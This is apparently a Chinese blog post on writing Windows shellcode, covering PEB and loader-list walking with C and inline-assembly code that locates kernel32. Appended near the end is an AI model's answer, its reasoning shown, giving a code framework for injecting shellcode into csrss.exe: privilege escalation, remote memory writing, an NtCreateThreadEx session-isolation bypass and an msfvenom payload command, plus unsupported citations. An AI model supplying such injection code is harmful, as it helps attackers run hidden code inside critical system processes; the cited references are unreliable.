注入shellcode

 

 

shellcode 是能够放在任何地方都能够执行机器码

2.编写shellcode原则

一:不能有全局变量

二:不能调用系统函数

三:不能嵌套调用函数

3.编写shellcode实战

一:shellcode分为基本模块和功能模块,结构如下图:

FS:[0]是TEB

从FS:[0X30]对应peb,偏移找到当前线程的dll模块链表,找到模块基地址,

利用pe导出表知识,自己找导出表找到 函数GetProcAddress 和LoadLibrary就可以找到任何函数了

未完待续...

PEB结构

0: kd> dt _PEB
nt_400000!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 SpareBool        : UChar
   +0x004 Mutant           : Ptr32 Void
   +0x008 ImageBaseAddress : Ptr32 Void
   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
   +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : Ptr32 Void
   +0x018 ProcessHeap      : Ptr32 Void
   +0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION
   +0x020 FastPebLockRoutine : Ptr32 Void
   +0x024 FastPebUnlockRoutine : Ptr32 Void
   +0x028 EnvironmentUpdateCount : Uint4B
   +0x02c KernelCallbackTable : Ptr32 Void
   +0x030 SystemReserved   : [1] Uint4B
   +0x034 AtlThunkSListPtr32 : Uint4B
   +0x038 FreeList         : Ptr32 _PEB_FREE_BLOCK
   +0x03c TlsExpansionCounter : Uint4B
   +0x040 TlsBitmap        : Ptr32 Void
   +0x044 TlsBitmapBits    : [2] Uint4B
   +0x04c ReadOnlySharedMemoryBase : Ptr32 Void
   +0x050 ReadOnlySharedMemoryHeap : Ptr32 Void
   +0x054 ReadOnlyStaticServerData : Ptr32 Ptr32 Void
   +0x058 AnsiCodePageData : Ptr32 Void
   +0x05c OemCodePageData  : Ptr32 Void
   +0x060 UnicodeCaseTableData : Ptr32 Void
   +0x064 NumberOfProcessors : Uint4B
   +0x068 NtGlobalFlag     : Uint4B
   +0x070 CriticalSectionTimeout : _LARGE_INTEGER
   +0x078 HeapSegmentReserve : Uint4B
   +0x07c HeapSegmentCommit : Uint4B
   +0x080 HeapDeCommitTotalFreeThreshold : Uint4B
   +0x084 HeapDeCommitFreeBlockThreshold : Uint4B
   +0x088 NumberOfHeaps    : Uint4B
   +0x08c MaximumNumberOfHeaps : Uint4B
   +0x090 ProcessHeaps     : Ptr32 Ptr32 Void
   +0x094 GdiSharedHandleTable : Ptr32 Void
   +0x098 ProcessStarterHelper : Ptr32 Void
   +0x09c GdiDCAttributeList : Uint4B
   +0x0a0 LoaderLock       : Ptr32 Void
   +0x0a4 OSMajorVersion   : Uint4B
   +0x0a8 OSMinorVersion   : Uint4B
   +0x0ac OSBuildNumber    : Uint2B
   +0x0ae OSCSDVersion     : Uint2B
   +0x0b0 OSPlatformId     : Uint4B
   +0x0b4 ImageSubsystem   : Uint4B
   +0x0b8 ImageSubsystemMajorVersion : Uint4B
   +0x0bc ImageSubsystemMinorVersion : Uint4B
   +0x0c0 ImageProcessAffinityMask : Uint4B
   +0x0c4 GdiHandleBuffer  : [34] Uint4B
   +0x14c PostProcessInitRoutine : Ptr32     void 
   +0x150 TlsExpansionBitmap : Ptr32 Void
   +0x154 TlsExpansionBitmapBits : [32] Uint4B
   +0x1d4 SessionId        : Uint4B
   +0x1d8 AppCompatFlags   : _ULARGE_INTEGER
   +0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER
   +0x1e8 pShimData        : Ptr32 Void
   +0x1ec AppCompatInfo    : Ptr32 Void
   +0x1f0 CSDVersion       : _UNICODE_STRING
   +0x1f8 ActivationContextData : Ptr32 Void
   +0x1fc ProcessAssemblyStorageMap : Ptr32 Void
   +0x200 SystemDefaultActivationContextData : Ptr32 Void
   +0x204 SystemAssemblyStorageMap : Ptr32 Void
   +0x208 MinimumStackCommit : Uint4B

peb的0xc位置找到_PEB_LDR_DATA

PEB_LDR_DATA结构

0: kd> dt _PEB_LDR_DATA
nt_400000!_PEB_LDR_DATA
   +0x000 Length           : Uint4B
   +0x004 Initialized      : UChar
   +0x008 SsHandle         : Ptr32 Void
   +0x00c InLoadOrderModuleList : _LIST_ENTRY
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY
   +0x024 EntryInProgress  : Ptr32 Void
TA; // +0x24

这个结构体有三个链表

   +0x00c InLoadOrderModuleList : _LIST_ENTRY
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY

遍历链表即可找到dll

 

LDR_DATA_TABLE_ENTRY 结构

typedef struct _LDR_DATA_TABLE_ENTRY  
{  
    LIST_ENTRY InLoadOrderLinks;  
    LIST_ENTRY InMemoryOrderLinks;  
    LIST_ENTRY InInitializationOrderLinks;  
    PVOID DllBase;  
    PVOID EntryPoint;  
    DWORD SizeOfImage;  
    UNICODE_STRING FullDllName;  
    UNICODE_STRING BaseDllName;  
    DWORD Flags;  
    WORD LoadCount;  
    WORD TlsIndex;  
    LIST_ENTRY HashLinks;  
    PVOID SectionPointer;  
    DWORD CheckSum;  
    DWORD TimeDateStamp;  
    PVOID LoadedImports;  
    PVOID EntryPointActivationContext;  
    PVOID PatchInformation;  
}LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;  

通过此结构体可根据BaseDllName获得DllBase,

接下来用到pe知识,找到pe文件导出表,查导出表找到函数。

如 loadLibray getProcess 找到后可以任意运行函数。难点在于怎么找到导入表。

 

获取模块的基址代码

void _getModuleBaseAddr()
{
    void *PEB = NULL,
        *Ldr = NULL,
        *Flink = NULL,
        *p = NULL,
        *BaseAddress = NULL,
        *FullDllName = NULL;

    __asm
    {
        mov eax, fs:[0x30]
        mov PEB, eax
    }
    Ldr = (PVOID)*((PDWORD)((DWORD)PEB + 0x0c));
    Flink = (PVOID)*((PDWORD)((DWORD)Ldr + 0x14));
    p = Flink;
    do
    {
        BaseAddress = (PVOID)*((PDWORD)((DWORD)p + 0x10));
        FullDllName = (PVOID)*((PDWORD)((DWORD)p + 0x20));
        wprintf(L"FullDllName is %s\n", FullDllName);
        printf("BaseAddress is %x\n", BaseAddress);
        p = (PVOID)*((PDWORD)p);
    } while (Flink != p);
}

获取kener32.dll基址

DWORD kener32Base = 0;

	__asm
	{
		xor		ecx, ecx
		mov		ecx, dword ptr fs : [30h]
		mov		ecx, dword ptr[ecx + 0Ch]
		mov		esi, dword ptr[ecx + 1Ch]
		sc_goonKernel :
					  mov		eax, dword ptr[esi + 8]
					  mov		ebx, dword ptr[esi + 20h]
					  mov		esi, dword ptr[esi]
					  cmp		dword ptr[ebx + 0Ch], 00320033h; 判断名称中字符32的unicode
					  jnz		sc_goonKernel
					  mov		ebx, eax; 获取kernel32地址
					  mov		kener32Base, ebx

	}

 

 

<think>好的,用户需要查找关于向csrss.exe进程注入shellcode的技术示例或教程。首先,我得回想一下之前用户提供的引用内容,看看有没有相关的内容。在引用[1]中提到了三种注入方法:直接DLL注入、反射式DLL注入和镂空注入,其中反射式注入不会在模块列表中显示,这可能对用户有帮助。引用[2]是关于shellcode转内存马的,但可能不直接涉及csrss.exe。接下来,我需要分析csrss.exe的特殊性。csrss.exe是Windows的关键系统进程,负责处理客户端/服务器运行时子系统,注入到这种高权限进程需要更高的权限和绕过安全机制的方法。用户可能需要了解如何以SYSTEM权限运行注入器,以及如何绕过会话隔离,比如使用本地系统权限的进程来注入。然后,技术实现方面,用户可能需要具体的步骤,比如如何获取csrss.exe的进程句柄,如何分配内存和写入shellcode,以及如何创建远程线程。这里需要注意,传统的CreateRemoteThread可能无法在csrss.exe中使用,因为会话隔离的问题,可能需要使用更高级的注入技术,比如APC注入或者使用NtCreateThreadEx。另外,用户可能需要了解如何生成和加载shellcode,比如使用Metasploit的msfvenom生成,并通过反射加载的方式避免写入文件。同时,需要提醒用户注入到系统进程的风险,比如导致系统不稳定或触发安全软件检测。最后,生成相关问题时要考虑用户可能进一步询问的内容,比如如何提升权限、绕过会话隔离的具体方法、其他注入技术比较以及检测和防御措施。这些相关问题可以帮助用户深入理解该主题。</think>向`csrss.exe`进程注入shellcode属于高级系统级代码注入技术,需特别注意Windows会话隔离机制和权限问题。以下是技术要点和示例框架: --- ### 技术原理 1. **会话隔离机制** `csrss.exe`属于Windows系统核心进程,每个会话(Session 0/1)有独立实例。注入需**跨会话权限**,通常要求注入程序以`SYSTEM`权限运行并通过`ZwCreateThreadEx`创建线程[^1]。 2. **权限提升** 需通过工具或代码获取`SeDebugPrivilege`权限: ```c if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL); } ``` 3. **注入方法选择** 传统`CreateRemoteThread`在`csrss.exe`中受限,建议使用: - APC队列注入(需目标线程处于可警报状态) - 内存镂空(Hollowing)替换合法模块代码 - 反射式DLL注入(无模块列表特征) --- ### 示例代码框架(C/C++) ```c // 获取csrss.exe进程ID DWORD pid = FindProcessId(L"csrss.exe"); // 以PROCESS_ALL_ACCESS权限打开进程 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 在目标进程分配内存 LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 写入shellcode WriteProcessMemory(hProcess, remoteMem, shellcode, shellcodeSize, NULL); // 创建远程线程(需绕过会话检查) HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMem, NULL, CREATE_SUSPENDED, NULL); // 修复线程上下文并执行 ResumeThread(hThread); ``` --- ### 关键难点 1. **会话隔离绕过** 需使用`NtCreateThreadEx`并设置`Flag=0x1C`(绕过Win32k限制)[^2]: ```c typedef NTSTATUS(WINAPI* pNtCreateThreadEx)(HANDLE*, ACCESS_MASK, void*, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, BOOL, SIZE_T, SIZE_T, SIZE_T, void*); pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx"); NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, remoteMem, NULL, FALSE, 0x1C, 0, 0, NULL); ``` 2. **Shellcode生成** 使用Metasploit生成无文件特征payload: ```bash msfvenom -p windows/x64/exec CMD="calc.exe" -f raw -o shellcode.bin ``` --- ### 防御与检测 - 监控`csrss.exe`的非Microsoft签名模块 - 检查进程内存中的可执行页是否包含异常API调用链 - 使用ETW(Event Tracing for Windows)跟踪线程创建事件 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值